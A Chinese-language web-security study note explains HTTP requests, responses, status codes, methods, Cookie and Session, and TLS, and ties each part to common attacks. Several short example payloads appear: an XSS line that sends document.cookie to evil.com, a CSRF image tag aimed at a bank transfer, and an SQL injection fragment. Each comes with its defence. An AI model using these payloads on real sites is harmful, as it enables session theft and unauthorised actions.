HTTP 协议基础

HTTP 协议基础学 Web 安全HTTP 就是地基。地基不牢楼盖多高都白搭。今天咱们就把 HTTP 这块地基彻底夯实。一、HTTP 是什么先上比喻——HTTP 就像点外卖外卖场景HTTP 对应顾客你浏览器客户端 Client餐厅服务器Server你下的菜单请求Request餐厅送来的菜响应Response外卖小哥送餐的路网络TCP/IP 协议栈点餐规则HTTP 协议HTTP 的全称是HyperText Transfer Protocol超文本传输协议它是浏览器和服务器之间沟通的语言规则。你打开网页、提交表单、加载图片背后全靠 HTTP 在跑。请求-响应模型HTTP 采用的是经典的请求-响应模型简单来说就是你问它答一问一答。┌──────────┐ ┌──────────┐ │ │ ──── HTTP 请求 ────► │ │ │ 浏览器 │ (Request) │ 服务器 │ │ (Client) │ │ (Server) │ │ │ ◄──── HTTP 响应 ──── │ │ └──────────┘ (Response) └──────────┘ 顾客: 来一份宫保鸡丁! 餐厅: 好嘞您的宫保鸡丁!关键特征无状态Stateless每次请求都是独立的服务器默认不记得你上一次说了什么。就像外卖小哥送完这单就忘了你点了啥——所以才需要 Cookie 和 Session 来记性。基于 TCPHTTP 跑在 TCP 之上默认端口80HTTPS 默认443。请求由客户端发起永远是浏览器先开口服务器不会主动找你聊天WebSocket 是后话。二、HTTP 请求结构一个完整的 HTTP 请求报文长这样——就像一封信有信封请求行请求头和信纸请求体2.1 请求行Request Line请求行是报文的第一行包含三个信息方法 URL 协议版本 GET /index.html HTTP/1.1组成部分说明举个栗子方法Method你想对资源做什么操作GET获取、POST提交URL请求路径你要访问的资源地址/login.php、/api/user?id1协议版本用的 HTTP 版本HTTP/1.1、HTTP/22.2 请求头Request Headers请求头就是一堆键值对告诉服务器各种附加信息。就像你点外卖时的备注“不要辣”、“送到XX地址”、“我用的饿了么 App”。常见请求头一览请求头一句话解释安全相关性Host你要访问的域名必填虚拟主机靠它区分站点Host 头注入攻击者可篡改 Host 头影响服务端逻辑User-Agent浏览器/客户端的身份标识服务器可据此做访问控制但容易被伪造Cookie携带的身份凭证Cookie 值核心攻击面Cookie 窃取 身份盗用Content-Type请求体的数据格式application/x-www-form-urlencoded、application/json等影响解析逻辑Referer从哪个页面跳转过来的CSRF 防御中常校验 Referer但也可伪造Origin跨域请求的来源CORS 策略的核心判断依据X-Forwarded-For客户端真实 IP经过代理时IP 伪造攻击者可篡改此头绕过 IP 限制Authorization认证信息如 Bearer Token令牌泄露 账号沦陷2.3 请求体Request Body重点不是所有请求都有请求体GET 请求没有请求体参数全拼在 URL 上?id1nameadminPOST 请求有请求体数据放在报文体里相对隐蔽一些注意这里的隐蔽只是浏览器地址栏不显示并非真的安全——抓包工具一抓一个准。完整 HTTP 请求报文示例POST /login.php HTTP/1.1 ← 请求行 Host: www.example.com ← 请求头开始 User-Agent: Mozilla/5.0 (Windows NT 10.0) Accept: text/html,application/xhtmlxml Cookie: PHPSESSIDabc123def456 Content-Type: application/x-www-form-urlencoded Content-Length: 35 Referer: https://www.example.com/login.html Connection: keep-alive ← 空行请求头结束 usernameadminpassword123456 ← 请求体注意那个空行——它很重要HTTP 用一个空行来分隔请求头和请求体就像信封和信纸之间的分界线。三、HTTP 响应结构服务器收到请求后会返回一个 HTTP 响应。就像餐厅收到你的菜单后给你送来菜品小票。3.1 状态行Status Line响应的第一行是状态行协议版本 状态码 状态描述 HTTP/1.1 200 OK3.2 常见状态码状态码就像餐厅给你的反馈暗号三位数字第一位表示大类2xx 成功——“您的菜来了”状态码含义安全小贴士200OK请求成功渗透测试中200 目标存在且可访问201Created资源创建成功常见于 API成功创建了新数据3xx 重定向——“您要去隔壁取餐”状态码含义安全小贴士301永久重定向资源搬家了开放重定向漏洞如果重定向目标可控可被用于钓鱼302临时重定向先去别处看看同上302 跳转是开放重定向的重灾区304未修改用缓存就行缓存投毒攻击的切入点4xx 客户端错误——“你点的菜不存在/没权限”状态码含义安全小贴士403Forbidden服务器拒绝访问权限绕过测试的目标能不能从 403 变 200404Not Found资源不存在目录枚举的判据404 不存在非 404 可能存在401Unauthorized需要认证未授权访问漏洞的入口405Method Not Allowed方法限制绕过换个 HTTP 方法试试5xx 服务器错误——“餐厅后厨炸了”状态码含义安全小贴士500Internal Server Error服务器内部错误可能泄露堆栈信息、SQL 报错——信息收集的好帮手502Bad Gateway网关/上游服务挂了说明有反向代理可能存在请求走私503Service Unavailable服务暂不可用可能是被 DoS 了3.3 响应头Response Headers响应头是服务器返回的附加信息很多跟安全直接相关响应头一句话解释安全意义Set-Cookie服务器给浏览器设置 CookieCookie 没设 HttpOnlyXSS 可以偷Location重定向目标地址开放重定向漏洞的关键Content-Type响应内容的类型MIME 嗅探攻击类型不一致可能被利用X-Frame-Options是否允许被 iframe 嵌入防点击劫持Clickjacking没设置就危险Content-Security-Policy内容安全策略CSPXSS 的终极防线限制脚本来源Strict-Transport-Security强制 HTTPSHSTS防止 SSL 剥离攻击X-Content-Type-Options禁止 MIME 嗅探设为nosniff防止浏览器猜类型Access-Control-Allow-OriginCORS 跨域策略配置不当 任意跨域读取数据Server服务器软件信息信息泄露暴露了Apache/2.4.49就等着被 CVE 吧完整 HTTP 响应报文示例HTTP/1.1 200 OK ← 状态行 Date: Sat, 14 Jun 2026 08:30:00 GMT ← 响应头开始 Server: Apache/2.4.49 (Ubuntu) Content-Type: text/html; charsetUTF-8 Content-Length: 1234 Set-Cookie: PHPSESSIDabc123def456; path/; HttpOnly; Secure X-Frame-Options: DENY X-Content-Type-Options: nosniff Strict-Transport-Security: max-age31536000 Connection: keep-alive ← 空行响应头结束 !DOCTYPE html ← 响应体 html headtitleWelcome/title/head bodyh1Hello, admin!/h1/body /html四、HTTP 方法与安全HTTP 定义了多种方法每种方法的语义不同安全风险也不同。GET vs POST 的安全区别这是面试和实战都高频出现的对比对比维度GETPOST参数位置URL 中?keyvalue地址栏可见请求体中地址栏不可见浏览器缓存会被缓存出现在历史记录、日志中默认不缓存书签可以收藏为书签不行编码类型application/x-www-form-urlencoded支持多种含multipart/form-data文件上传数据长度URL 长度有限制浏览器/服务器各异理论上无限制幂等性幂等多次请求结果相同非幂等可能创建多条记录安全结论GET 参数会出现在 URL、浏览器历史、服务器日志、Referer 头中。密码、Token 等敏感数据绝不应该用 GET 传但这不意味着 POST 就安全——抓包工具照样能看到请求体。PUT/DELETE/OPTIONS 的安全风险方法正常用途安全风险PUT上传/更新资源如果服务器开放了 PUT 方法攻击者可以上传 WebShellDELETE删除资源未授权的 DELETE 请求可以删除服务器文件OPTIONS查询服务器支持哪些方法信息泄露暴露了支持的方法列表攻击者就知道能用什么姿势搞事TRACE回显请求调试用XST 攻击跨站追踪可窃取 Cookie生产环境必须禁用HEAD只获取响应头不返回体可用于快速探测资源是否存在不产生日志体实战技巧渗透测试时先用OPTIONS方法探测服务器支持哪些方法再针对性利用。如果看到Allow: GET, POST, PUT, DELETE那就有好戏看了。五、Cookie 与 Session 机制还记得前面说的 HTTP 是无状态的吗服务器记不住你。但现实中的网站需要记住你——你登录之后总不能每点一个页面都重新输密码吧于是 Cookie 和 Session 就来救场了。5.1 Cookie 工作原理Cookie 就像餐厅给你发的会员卡——每次来吃饭出示会员卡餐厅就知道你是老顾客。浏览器 服务器 │ │ │ ① 首次请求: GET /login ──────────────────────► │ │ (没有 Cookie) │ │ │ │ ② 响应: 200 OK ◄────────────────────────────── │ │ Set-Cookie: session_idxyz123 │ │ │ │ [浏览器保存 Cookie: session_idxyz123] │ │ │ │ ③ 后续请求: GET /dashboard ──────────────────► │ │ Cookie: session_idxyz123 │ │ │ │ [服务器: 哦! xyz123, 我认识你, 你是 admin!] │ │ │ │ ④ 响应: 200 OK ◄────────────────────────────── │ │ (返回 admin 的页面内容) │本质Cookie 是存储在浏览器端的一小段数据每次请求时浏览器会自动把它附在请求头里发给服务器。5.2 Session 工作原理如果 Cookie 是会员卡那Session 就是餐厅后台的会员档案Cookie浏览器端只存一个session_id会员卡号Session服务器端存了你的完整信息会员档案——姓名、等级、余额……工作流程用户登录 → 服务器创建 Session存到内存/数据库/Redis服务器把session_id通过Set-Cookie发给浏览器浏览器后续请求自动带上这个session_id服务器根据session_id查找对应的 Session 数据识别用户身份一句话总结Cookie 是钥匙Session 是保险柜。钥匙在你手里浏览器值钱的东西在保险柜里服务器。5.3 Cookie 安全属性这是 Web 安全中的重中之重每个属性都要搞清楚Set-Cookie: session_idabc123; path/; domain.example.com; expiresThu, 31 Dec 2026 23:59:59 GMT; HttpOnly; Secure; SameSiteLax属性作用安全意义HttpOnly禁止 JavaScript 读取此 Cookie防 XSS 窃取 Cookie设了 HttpOnlydocument.cookie就拿不到它Secure只在 HTTPS 连接下传输防中间人窃听HTTP 请求不会带上这个 CookieSameSite限制跨站请求携带 Cookie防 CSRFStrict严格、Lax宽松、None不限制必须配合 SecurePathCookie 的有效路径限制 Cookie 只在特定路径下发送缩小攻击面DomainCookie 的有效域名设为.example.com则子域名都能访问——子域漏洞可扩大攻击范围Expires/Max-AgeCookie 的过期时间过期时间太长 凭证长期有效泄露风险增大5.4 为什么 Cookie 安全设置很重要Cookie 安全设置不到位直接导致以下攻击成立场景一XSS 窃取 Cookie// 攻击者注入的恶意脚本script// 如果 Cookie 没有设 HttpOnly这段代码就能偷到你的 CookienewImage().srchttp://evil.com/steal?cookiedocument.cookie;/script防御设置HttpOnly属性JS 就读不到 Cookie 了。场景二CSRF 利用自动携带 Cookie恶意网站的页面: img srchttps://bank.com/transfer?toattackeramount10000 浏览器自动带上 bank.com 的 Cookie → 服务器以为是你本人操作 → 转账成功!防御设置SameSiteLax或SameSiteStrict跨站请求就不会自动带 Cookie。关联笔记[[XSS跨站脚本]] —— Cookie 窃取的主战场[[CSRF跨站请求伪造]] —— Cookie 自动携带机制的滥用[[认证与会话管理]] —— Session/Cookie 在认证体系中的核心地位六、HTTPS 与 TLS6.1 HTTP vs HTTPS 的区别对比维度HTTPHTTPS全称HyperText Transfer ProtocolHyperText Transfer ProtocolSecure端口80443加密明文传输裸奔TLS/SSL 加密穿了防弹衣证书不需要需要 CA 颁发的数字证书速度稍快无加密开销稍慢但现代硬件几乎无感SEO搜索引擎不偏好Google 明确表示 HTTPS 排名更高安全大白话HTTP 就像在大街上大声喊你的密码HTTPS 就像在保险屋里悄悄说。中间人攻击对 HTTP 简直就是明抢对 HTTPS 则几乎无从下手。6.2 TLS 握手过程简化版TLS 握手就像两个人第一次见面交换暗号的过程客户端浏览器 服务器 │ │ │ ① ClientHello │ │ 你好! 我支持这些加密算法, 这是我的随机数A │ │ ──────────────────────────────────────────► │ │ │ │ ② ServerHello │ │ 好的! 我选这个算法, 这是我的随机数B │ │ ◄────────────────────────────────────────── │ │ │ │ ③ 服务器发送证书 │ │ 这是我的身份证(数字证书), 请验证 │ │ ◄────────────────────────────────────────── │ │ │ │ ④ 客户端验证证书 │ │ [检查证书是否由可信CA签发、是否过期、域名匹配] │ │ │ │ ⑤ 密钥交换 │ │ 验证通过! 我们用随机数AB算出对称密钥吧 │ │ ──────────────────────────────────────────► │ │ │ │ ⑥ 加密通信开始 │ │ ════════ 所有数据用对称密钥加密传输 ═════════ │ │ │核心要点非对称加密RSA/ECC用于握手阶段——安全地交换密钥对称加密AES用于数据传输——速度快这是一个用非对称加密保护对称密钥交换的经典设计6.3 证书的作用数字证书就是服务器的身份证由CACertificate Authority证书颁发机构签发。证书包含域名这个证书是给谁的*.example.com公钥用于加密的公钥CA 的数字签名证明这个证书是可信 CA 签发的有效期证书什么时候过期安全关联证书过期 → 浏览器报警告 → 用户可能忽略 → 中间人攻击风险自签名证书 → 不受信任 → 可能是钓鱼证书透明度Certificate Transparency→ 可检测到被非法签发的证书七、HTTP 与 Web 安全的关系HTTP 协议的每一个组成部分都可能成为攻击面。来做个全景总结┌─────────────────────────────────────────────────────────┐ │ HTTP 请求报文 │ │ │ │ 请求行: GET /page?id1 HTTP/1.1 │ │ ↑ │ │ ├─ URL 参数 → [[SQL注入]]、[[XSS跨站脚本]] │ │ └─ 方法 → PUT 上传 WebShell │ │ │ │ 请求头: Host / Cookie / Referer / Content-Type │ │ ↑ │ │ ├─ Cookie → 会话劫持、CSRF │ │ ├─ Host → Host 头注入 │ │ ├─ Referer → [[CSRF跨站请求伪造]] 防御绕过 │ │ └─ XFF → IP 伪造绕过 │ │ │ │ 请求体: usernameadmin OR 11--passwordxxx │ │ ↑ │ │ ├─ 用户输入 → [[SQL注入]]、[[XSS跨站脚本]] │ │ └─ 文件上传 → WebShell / 任意文件上传 │ │ │ └─────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────┐ │ HTTP 响应报文 │ │ │ │ 状态码: 200 / 302 / 403 / 500 │ │ ↑ │ │ ├─ 302 开放重定向 → 钓鱼 │ │ ├─ 403 权限绕过 → 越权访问 │ │ └─ 500 报错信息 → 信息泄露 │ │ │ │ 响应头: Set-Cookie / Location / CSP │ │ ↑ │ │ ├─ Set-Cookie 缺少 HttpOnly → XSS 窃取 Cookie│ │ ├─ Set-Cookie 缺少 SameSite → [[CSRF跨站请求伪造]]│ │ ├─ Location 可控 → 开放重定向 │ │ └─ CSP 缺失 → [[XSS跨站脚本]] 无防御 │ │ │ │ 响应体: script用户输入/script │ │ ↑ │ │ └─ 反射型 XSS / 存储型 XSS / DOM 型 XSS │ │ │ └─────────────────────────────────────────────────────────┘安全关联速查表HTTP 组件可能的安全漏洞关联笔记URL 参数SQL 注入、XSS、命令注入、目录遍历[[SQL注入]]、[[XSS跨站脚本]]Cookie会话劫持、CSRF、Cookie 注入[[CSRF跨站请求伪造]]、[[认证与会话管理]]请求头Host 头注入、请求走私、CRLF 注入[[HTTP请求走私]]请求体文件上传漏洞、XXE、反序列化[[文件上传漏洞]]响应头信息泄露、安全头缺失[[认证与会话管理]]响应体XSS、敏感信息泄露[[XSS跨站脚本]]HTTP 方法PUT 上传、TRACE 泄露-URL 路径SSRF、目录遍历、路径穿越[[SSRF服务端请求伪造]]总结HTTP 是 Web 安全的基石——不懂 HTTP做安全就是空中楼阁请求的每个部分都可能被攻击——URL、请求头、请求体无一幸免响应的每个部分都可能泄露信息——状态码、响应头、响应体都有文章Cookie/Session 机制是认证的核心——安全属性必须正确配置HTTPS 不是万能的但不用 HTTPS 是万万不能的把 HTTP 基础打扎实了后面的漏洞攻防才能学得明白。